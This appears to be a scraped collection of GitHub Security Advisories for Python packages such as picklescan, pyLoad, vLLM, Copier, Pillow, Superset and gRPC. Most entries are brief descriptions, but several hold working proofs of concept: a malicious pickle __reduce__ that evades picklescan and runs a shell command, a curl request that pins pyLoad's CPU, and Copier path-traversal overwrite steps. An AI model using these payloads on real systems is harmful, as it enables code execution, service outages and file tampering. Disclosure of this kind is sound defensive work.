deardaniel/secdata-raw huggingface dataset:
GitHub Security Advisory: GHSA-4r9r-ch6f-vxmx
Package: picklescan (PIP)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-345: Insufficient Verification of Data Authenticity
Vulnerable versions: <= 0.0.27
Patched in: 0.0.28

Summary: Picklescan missing detection when calling pytorch function torch.utils.bottleneck.__main__.run_cprofile

Details:
### Summary

Using torch.utils.bottleneck.__main__.run_cprofile
 function, which is a pytorch library function to execute remote pickle file.

### Details

The attack payload executes in the following steps:

First, the attacker craft the payload by calling to torch.utils.bottleneck.__main__.run_cprofile
 function in reduce method
Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.

### PoC

```
import torch.utils.bottleneck.__main__ as bottleneck_main

class EvilTorchUtilsBottleneckRunCprofile:
    def __reduce__(self):
        code = '__import__("os").system("whoami")'
        globs = {}
        return bottleneck_main.run_cprofile, (code, globs)
```

### Impact

Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.
What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.
Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

### Corresponding

https://github.com/FredericDT
https://github.com/Qhaoduoyu
GitHub Security Advisory: GHSA-9gjj-6gj7-c4wj
Package: pyload-ng (PIP)
Severity: HIGH (CVSS 0.0)
CWE: CWE-400: Uncontrolled Resource Consumption
Vulnerable versions: < 0.5.0b3.dev92
Patched in: 0.5.0b3.dev92

Summary: Denial-of-Service attack in pyLoad CNL Blueprint using dukpy.evaljs

Details:
Dear Maintainers,
I am writing to you on behalf of the Tencent AI Sec. We have identified a potential vulnerability in one of your products and would like to report it to you for further investigation and mitigation.

### Summary
The `jk` parameter is received in pyLoad CNL Blueprint. Due to the lack of `jk` parameter verification, the `jk` parameter input by the user is directly determined as dykpy.evaljs(), resulting in the server CPU being fully occupied and the web-ui becoming unresponsive.

### Details
- Endpoint: flash/addcrypted2
- affected file: https://github.com/pyload/pyload/blob/develop/src/pyload/webui/app/blueprints/cnl_blueprint.py#L123
https://github.com/pyload/pyload/blob/develop/src/pyload/core/utils/misc.py#L42	

affected code
```python
@bp.route("/flash/addcrypted2", methods=["POST"], endpoint="addcrypted2")
@local_check
def addcrypted2():
    package = flask.request.form.get(
        "package", flask.request.form.get("source", flask.request.form.get("referer"))
    )
    crypted = flask.request.form["crypted"]
    jk = flask.request.form["jk"]
    pack_password = flask.request.form.get("passwords")

    crypted = standard_b64decode(unquote(crypted.replace(" ", "+")))
    jk = eval_js(f"{jk} f()")

```

```python
def eval_js(script, es6=False):
    if sys.version_info < (3, 12):
        return (js2py.eval_js6 if es6 else js2py.eval_js)(script)
    else:
        return dukpy.evaljs(script)
```

### PoC
download pyload and run locally, send the following request
- PoC
```shell
curl -X POST "http://localhost:8000/flash/addcrypted2" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "crypted=SGVsbG8gd29ybGQ=" \
  -d "passwords=pyload" \
  -d "jk=const start = Date.now();%0Awhile (Date.now() - start < 30_000) {} //"
```
The 30_000 can be modified to any large value.


### Impact
System resources are exhausted, causing services to be temporarily interrupted or stopped, making them inaccessible to normal users.

Use the following command to check CPU usage
```shell
top -pid $(pgrep -f "pyload.__main__") 
```
or
```shell
top -pid $(pgrep -f "pyload") 
```

The CPU is fully occupied
<img width="1209" height="134" alt="image" src="https://github.com/user-attachments/assets/5f9338fe-90c8-4e99-bd8e-a5b5c5a81a6e" />

web-ui unresponsive
<img width="1209" height="496" alt="image" src="https://github.com/user-attachments/assets/7100cdb6-e4d5-4d0c-a138-51b08a7b1fbd" />
GitHub Security Advisory: GHSA-xh9h-692f-mmg4
Package: knack (PIP)
Severity: LOW (CVSS 0.0)
CWE: CWE-1333: Inefficient Regular Expression Complexity
Vulnerable versions: <= 0.12.0
Patched in: unpatched

Summary: Withdrawn Advisory: Microsoft Knack ReDoS Vulnerability in the Introspection Module

Details:
### Withdrawn Advisory
This advisory has been withdrawn because the attack surface of this vulnerability is outside of Knack's intended functionality. The maintainer states the following:

> These CVEs are invalid. Knack is a CLI framework used by [Azure CLI](https://github.com/Azure/azure-cli). It's a local library, not a web service. In addition, the regex is used to extract function and parameter docstrings from the source code. It is not used to match user input. Therefore, it does not expose any attack surface. There is no way to use it for ReDoS attack.

This link is maintained to preserve external references.

### Original Description
Microsoft Knack 0.12.0 allows Regular expression Denial of Service (ReDoS) in the knack.introspection module (issue 2 of 2).
GitHub Security Advisory: GHSA-6fxp-p9mg-q64w
Package: knack (PIP)
Severity: LOW (CVSS 0.0)
CWE: CWE-1333: Inefficient Regular Expression Complexity
Vulnerable versions: <= 0.12.0
Patched in: unpatched

Summary: Withdrawn Advisory: Microsoft Knack ReDoS Vulnerability in the Introspection Module

Details:
### Withdrawn Advisory
This advisory has been withdrawn because the attack surface of this vulnerability is outside of Knack's intended functionality. The maintainer states the following:

> These CVEs are invalid. Knack is a CLI framework used by [Azure CLI](https://github.com/Azure/azure-cli). It's a local library, not a web service. In addition, the regex is used to extract function and parameter docstrings from the source code. It is not used to match user input. Therefore, it does not expose any attack surface. There is no way to use it for ReDoS attack.

This link is maintained to preserve external references.

### Original Description
Microsoft Knack 0.12.0 allows Regular expression Denial of Service (ReDoS) in the knack.introspection module (issue 1 of 2).
GitHub Security Advisory: GHSA-79j6-g2m3-jgfw
Package: vllm (PIP)
Severity: HIGH (CVSS 8.8)
CWE: CWE-502: Deserialization of Untrusted Data
Vulnerable versions: >= 0.10.0, < 0.10.1.1
Patched in: 0.10.1.1

Summary: vLLM has remote code execution vulnerability in the tool call parser for Qwen3-Coder

Details:
### Summary
An unsafe deserialization vulnerability allows any authenticated user to execute arbitrary code on the server if they are able to get the model to pass the code as an argument to a tool call.

### Details
 vLLM's [Qwen3 Coder tool parser](https://github.com/vllm-project/vllm/blob/main/vllm/entrypoints/openai/tool_parsers/qwen3coder_tool_parser.py) contains a code execution path that uses Python's `eval()` function to parse tool call parameters. This occurs during the parameter conversion process when the parser attempts to handle unknown data types.

This code path is reached when:
1. Tool calling is enabled (`--enable-auto-tool-choice`)
2. The qwen3_coder parser is specified (`--tool-call-parser qwen3_coder`)
3. The parameter type is not explicitly defined or recognized

### Impact
Remote Code Execution via Python's `eval()` function.
GitHub Security Advisory: GHSA-rxc4-3w6r-4v47
Package: vllm (PIP)
Severity: HIGH (CVSS 7.5)
CWE: CWE-400: Uncontrolled Resource Consumption
Vulnerable versions: >= 0.1.0, < 0.10.1.1
Patched in: 0.10.1.1

Summary: vllm API endpoints vulnerable to Denial of Service Attacks

Details:
### Summary
A Denial of Service (DoS) vulnerability can be triggered by sending a single HTTP GET request with an extremely large header to an HTTP endpoint. This results in server memory exhaustion, potentially leading to a crash or unresponsiveness. The attack does not require authentication, making it exploitable by any remote user.

### Details
The vulnerability leverages the abuse of HTTP headers. By setting a header such as `X-Forwarded-For` to a very large value like `("A" * 5_800_000_000)`, the server's HTTP parser or application logic may attempt to load the entire request into memory, overwhelming system resources.

### Impact
_What kind of vulnerability is it? Who is impacted?_
Type of vulnerability: Denial of Service (DoS)

### Resolution
Upgrade to a version of vLLM that includes appropriate HTTP limits by deafult, or use a proxy in front of vLLM which provides protection against this issue.
GitHub Security Advisory: GHSA-p7q8-grrj-3m8w
Package: copier (PIP)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Vulnerable versions: >= 7.1.0, < 9.9.1
Patched in: 9.9.1

Summary: Copier's safe template has filesystem write access outside destination path

Details:
### Impact

Copier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use [unsafe](https://copier.readthedocs.io/en/stable/configuring/#unsafe) features like custom Jinja extensions which would require passing the `--UNSAFE,--trust` flag. As it turns out, a safe template can currently write files outside the destination path where a project shall be generated or updated. This is possible when rendering a [generated directory structure](https://copier.readthedocs.io/en/stable/configuring/#generating-a-directory-structure) whose rendered path is either a relative parent path or an absolute path. Constructing such paths is possible using Copier's builtin `pathjoin` Jinja filter and its builtin `_copier_conf.sep` variable, which is the platform-native path separator. This way, a malicious template author can create a template that overwrites arbitrary files (according to the user's write permissions), e.g., to cause havoc.

#### Write access via generated relative path

Reproducible example:

```shell
echo "foo" > forbidden.txt
mkdir src/
echo "bar" > "src/{{ pathjoin('..', 'forbidden.txt') }}"
uvx copier copy src/ dst/
cat forbidden.txt
```

#### Write access via generated absolute path

Reproducible example:

- POSIX:

    ```shell
    # Assumption: The current working directory is `/tmp/test-copier-vulnerability/`
    echo "foo" > forbidden.txt
    mkdir src/
    echo "bar" > "src/{{ pathjoin(_copier_conf.sep, 'tmp', 'test-copier-vulnerability', 'forbidden.txt') }}"
    uvx --from copier python -O -m copier copy --overwrite src/ dst/
    cat forbidden.txt
    ```

- Windows (PowerShell):

    ```powershell
    # Assumption: The current working directory is `C:\Users\<user>\Temp\test-copier-vulnerability`
    echo "foo" > forbidden.txt
    mkdir src
    Set-Content -Path src\copier.yml @'
    drive:
      type: str
      default: "C:"
      when: false
    '@
    echo "bar" > "src\{{ pathjoin(drive, 'Users', '<user>', 'Temp', 'test-copier-vulnerability', 'forbidden.txt') }}"
    uvx --from copier python -O -m copier copy --overwrite src dst
    cat forbidden.txt
    ```

This scenario is slightly less severe, as Copier has a few [assertions of the destination path being relative](https://github.com/copier-org/copier/blob/d106ea543fd26e1ac1b9a3dcef3e99cc70fdf57c/copier/_main.py#L747) which would typically be raised. But `python -O` (or `PYTHONOPTIMIZE=x`) removes asserts, so these guards may be ineffective. In addition, this scenario will prompt for overwrite confirmation or require the `--overwrite` flag for non-interactive mode; yet malicious file writes might go unnoticed.
GitHub Security Advisory: GHSA-95q3-8gr9-gm8w
Package: pillow (PIP)
Severity: HIGH (CVSS 7.5)
CWE: CWE-20: Improper Input Validation, CWE-400: Uncontrolled Resource Consumption
Vulnerable versions: < 8.1.2
Patched in: 8.1.2

Summary: Pillow Denial of Service by Uncontrolled Resource Consumption

Details:
Pillow before 8.1.2 allows attackers to cause a denial of service (memory consumption) because the reported size of a contained image is not properly checked for an ICO container, and thus an attempted memory allocation can be very large.
GitHub Security Advisory: GHSA-3wvg-mj6g-m9cv
Package: pillow (PIP)
Severity: HIGH (CVSS 7.5)
CWE: CWE-20: Improper Input Validation, CWE-400: Uncontrolled Resource Consumption
Vulnerable versions: < 8.1.2
Patched in: 8.1.2

Summary: Pillow Uncontrolled Resource Consumption

Details:
Pillow before 8.1.2 allows attackers to cause a denial of service (memory consumption) because the reported size of a contained image is not properly checked for an ICNS container, and thus an attempted memory allocation can be very large.
GitHub Security Advisory: GHSA-f4w8-cv6p-x6r5
Package: Pillow (PIP)
Severity: HIGH (CVSS 7.5)
CWE: CWE-20: Improper Input Validation, CWE-400: Uncontrolled Resource Consumption
Vulnerable versions: < 8.1.2
Patched in: 8.1.2

Summary: Pillow Denial of Service by Uncontrolled Resource Consumption

Details:
Pillow before 8.1.2 allows attackers to cause a denial of service (memory consumption) because the reported size of a contained image is not properly checked for a BLP container, and thus an attempted memory allocation can be very large.
GitHub Security Advisory: GHSA-mhpq-m962-mg92
Package: apache-superset (PIP)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-285: Improper Authorization
Vulnerable versions: < 5.0.0
Patched in: 5.0.0

Summary: Apache Superset allows authenticated users to discover metadata about datasources they don't have permission to access

Details:
Apache Superset contains an improper access control vulnerability in its /explore endpoint. A missing authorization check allows an authenticated user to discover metadata about datasources they do not have permission to access. By iterating through the datasource_id in the URL, an attacker can enumerate and confirm the existence and names of protected datasources, leading to sensitive information disclosure.

This issue affects Apache Superset: before 5.0.0.

Users are recommended to upgrade to version 5.0.0, which fixes the issue.
GitHub Security Advisory: GHSA-9g5x-mm39-wg9r
Package: apache-superset (PIP)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
Vulnerable versions: < 4.1.3.post1
Patched in: 4.1.3.post1

Summary: Apache Superset data query improperly discloses database schema information to low-privileged guest user

Details:
When a guest user accesses a chart in Apache Superset, the API response from the /chart/data endpoint includes a query field in its payload. This field contains the underlying query, which improperly discloses database schema information, such as table names, to the low-privileged guest user.

This issue affects Apache Superset: before 4.1.3.

Users are recommended to upgrade to version 4.1.3, which fixes the issue.
GitHub Security Advisory: GHSA-fxgf-3xh6-m2pp
Package: apache-superset (PIP)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Vulnerable versions: < 5.0.0
Patched in: 5.0.0

Summary: Apache Superset has bypass of `DISALLOWED_SQL_FUNCTIONS` that allows execution of blocked SQL functions

Details:
A bypass of the DISALLOWED_SQL_FUNCTIONS security feature in Apache Superset allows for the execution of blocked SQL functions. An attacker can use a special inline block to circumvent the denylist. This allows a user with SQL Lab access to execute functions that were intended to be disabled, leading to the disclosure of sensitive database information like the software version.

This issue affects Apache Superset: before 5.0.0.

Users are recommended to upgrade to version 5.0.0, which fixes the issue.
GitHub Security Advisory: GHSA-fj97-2v9x-w5m4
Package: apache-superset (PIP)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-80: Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)
Vulnerable versions: < 5.0.0
Patched in: 5.0.0

Summary: Apache Superset's chart visualization has a stored Cross-Site Scripting (XSS) vulnerability

Details:
A stored Cross-Site Scripting (XSS) vulnerability exists in Apache Superset's chart visualization. An authenticated user with permissions to edit charts can inject a malicious payload into a column's label. The payload is not properly sanitized and gets executed in the victim's browser when they hover over the chart, potentially leading to session hijacking or the execution of arbitrary commands on behalf of the user.

This issue affects Apache Superset: before 5.0.0.

Users are recommended to upgrade to version 5.0.0, which fixes the issue.
GitHub Security Advisory: GHSA-7hfw-26vp-jp8m
Package: pypdf (PIP)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-400: Uncontrolled Resource Consumption, CWE-770: Allocation of Resources Without Limits or Throttling
Vulnerable versions: < 6.0.0
Patched in: 6.0.0

Summary: PyPDF's Manipulated FlateDecode streams can exhaust RAM

Details:
### Impact
An attacker who uses this vulnerability can craft a PDF which leads to the RAM being exhausted. This requires just reading the file if a series of FlateDecode filters is used on a malicious cross-reference stream. Other content streams are affected on explicit access.

### Patches
This has been fixed in [pypdf==6.0.0](https://github.com/py-pdf/pypdf/releases/tag/6.0.0).

### Workarounds
If you cannot upgrade yet, you might want to implement the workaround for `pypdf.filters.decompress` yourself: https://github.com/py-pdf/pypdf/blob/0dd57738bbdcdb63f0fb43d8a6b3d222b6946595/pypdf/filters.py#L72-L143

### References
This issue has been reported in #3429 and fixed in #3430.
GitHub Security Advisory: GHSA-gpmg-4x4g-mr5r
Package: omero-web (PIP)
Severity: MODERATE (CVSS 5.3)
CWE: CWE-209: Generation of Error Message Containing Sensitive Information
Vulnerable versions: <= 5.29.1
Patched in: 5.29.2

Summary: OMERO.web displays unecessary user information when requesting password reset

Details:
### Background

If an error occurred when resetting a user's password using the ``Forgot Password`` option in OMERO.web, the error message displayed on the Web page can disclose information about the user.

### Impact
OMERO.web before 5.29.1

### Patches
User should upgrade to 5.29.2 or higher

### Workarounds
Disable the ``Forgot password`` option in OMERO.web using the ``omero.web.show_forgot_password`` configuration property[^1].

Thanks to Christopher Youd who reported the issue.

Open an issue in [omero-web](https://github.com/ome/omero-web)
Email us at [security@openmicroscopy.org](mailto:security@openmicroscopy.org)

[^1]: https://omero.readthedocs.io/en/stable/sysadmins/config.html#omero.web.show_forgot_password
GitHub Security Advisory: GHSA-6628-q6j9-w8vg
Package: grpcio (PIP)
Severity: HIGH (CVSS 7.5)
CWE: CWE-617: Reachable Assertion
Vulnerable versions: >= 1.51.0, < 1.53.0
Patched in: 1.53.0

Summary: gRPC Reachable Assertion issue

Details:
There exists an vulnerability causing an abort() to be called in gRPC. 
The following headers cause gRPC's C++ implementation to abort() when called via http2:

te: x (x != trailers)

:scheme: x (x != http, https)

grpclb_client_stats: x (x == anything)

On top of sending one of those headers, a later header must be sent that gets the total header size past 8KB. We recommend upgrading past git commit 2485fa94bd8a723e5c977d55a3ce10b301b437f8 or v1.53 and above.
GitHub Security Advisory: GHSA-9hxf-ppjv-w6rq
Package: grpcio (PIP)
Severity: MODERATE (CVSS 5.3)
CWE: CWE-440: Expected Behavior Violation
Vulnerable versions: >= 1.54.0, < 1.54.2
Patched in: 1.54.2

Summary: gRPC connection termination issue

Details:
gRPC contains a vulnerability whereby a client can cause a termination of connection between a HTTP2 proxy and a gRPC server: a base64 encoding error for `-bin` suffixed headers will result in a disconnection by the gRPC server, but is typically allowed by HTTP2 proxies. We recommend upgrading beyond the commit in https://github.com/grpc/grpc/pull/32309.
GitHub Security Advisory: GHSA-9hxf-ppjv-w6rq
Package: grpcio (PIP)
Severity: MODERATE (CVSS 5.3)
CWE: CWE-440: Expected Behavior Violation
Vulnerable versions: >= 1.53.0, < 1.53.1
Patched in: 1.53.1

Summary: gRPC connection termination issue

Details:
gRPC contains a vulnerability whereby a client can cause a termination of connection between a HTTP2 proxy and a gRPC server: a base64 encoding error for `-bin` suffixed headers will result in a disconnection by the gRPC server, but is typically allowed by HTTP2 proxies. We recommend upgrading beyond the commit in https://github.com/grpc/grpc/pull/32309.
GitHub Security Advisory: GHSA-cfgp-2977-2fmm
Package: grpcio (PIP)
Severity: HIGH (CVSS 7.4)
CWE: CWE-440: Expected Behavior Violation
Vulnerable versions: >= 1.54.0, < 1.54.2
Patched in: 1.54.2

Summary: Connection confusion in gRPC

Details:
When gRPC HTTP2 stack raised a header size exceeded error, it skipped parsing the rest of the HPACK frame. This caused any HPACK table mutations to also be skipped, resulting in a desynchronization of HPACK tables between sender and receiver. If leveraged, say, between a proxy and a backend, this could lead to requests from the proxy being interpreted as containing headers from different proxy clients - leading to an information leak that can be used for privilege escalation or data exfiltration.
GitHub Security Advisory: GHSA-cfgp-2977-2fmm
Package: grpcio (PIP)
Severity: HIGH (CVSS 7.4)
CWE: CWE-440: Expected Behavior Violation
Vulnerable versions: >= 1.53.0, < 1.53.1
Patched in: 1.53.1

Summary: Connection confusion in gRPC

Details:
When gRPC HTTP2 stack raised a header size exceeded error, it skipped parsing the rest of the HPACK frame. This caused any HPACK table mutations to also be skipped, resulting in a desynchronization of HPACK tables between sender and receiver. If leveraged, say, between a proxy and a backend, this could lead to requests from the proxy being interpreted as containing headers from different proxy clients - leading to an information leak that can be used for privilege escalation or data exfiltration.
GitHub Security Advisory: GHSA-f9hx-c6jf-3qxm
Package: executorch (PIP)
Severity: CRITICAL (CVSS 9.8)
CWE: CWE-125: Out-of-bounds Read
Vulnerable versions: < 0.7.0
Patched in: 0.7.0

Summary: ExecuTorch out-of-bounds access vulnerability

Details:
An out-of-bounds access vulnerability in the loading of ExecuTorch models can cause the runtime to crash and potentially result in code execution or other undesirable effects. This issue affects ExecuTorch prior to commit fb03b6f85596a8f954d[PII_REDACTED]5255b6a58d4.
GitHub Security Advisory: GHSA-xc7w-r669-48pf
Package: executorch (PIP)
Severity: CRITICAL (CVSS 9.8)
CWE: CWE-122: Heap-based Buffer Overflow
Vulnerable versions: < 0.7.0
Patched in: 0.7.0

Summary: ExecuTorch vulnerable to Heap-based Buffer Overflow

Details:
A group of related buffer overflow vulnerabilities in the loading of ExecuTorch models can cause the runtime to crash and potentially result in code execution or other undesirable effects. This issue affects ExecuTorch prior to commit cea9b23aa8ff78aff92829a466da97461cc7930c.
GitHub Security Advisory: GHSA-9m39-3mf3-xwch
Package: executorch (PIP)
Severity: CRITICAL (CVSS 9.8)
CWE: CWE-122: Heap-based Buffer Overflow
Vulnerable versions: < 0.7.0
Patched in: 0.7.0

Summary: ExecuTorch heap buffer overflow vulnerability

Details:
A heap buffer overflow vulnerability in the loading of ExecuTorch models can potentially result in code execution or other undesirable effects. This issue affects ExecuTorch prior to commit ede82493dae6d2d43f8c424e7be4721abe5242be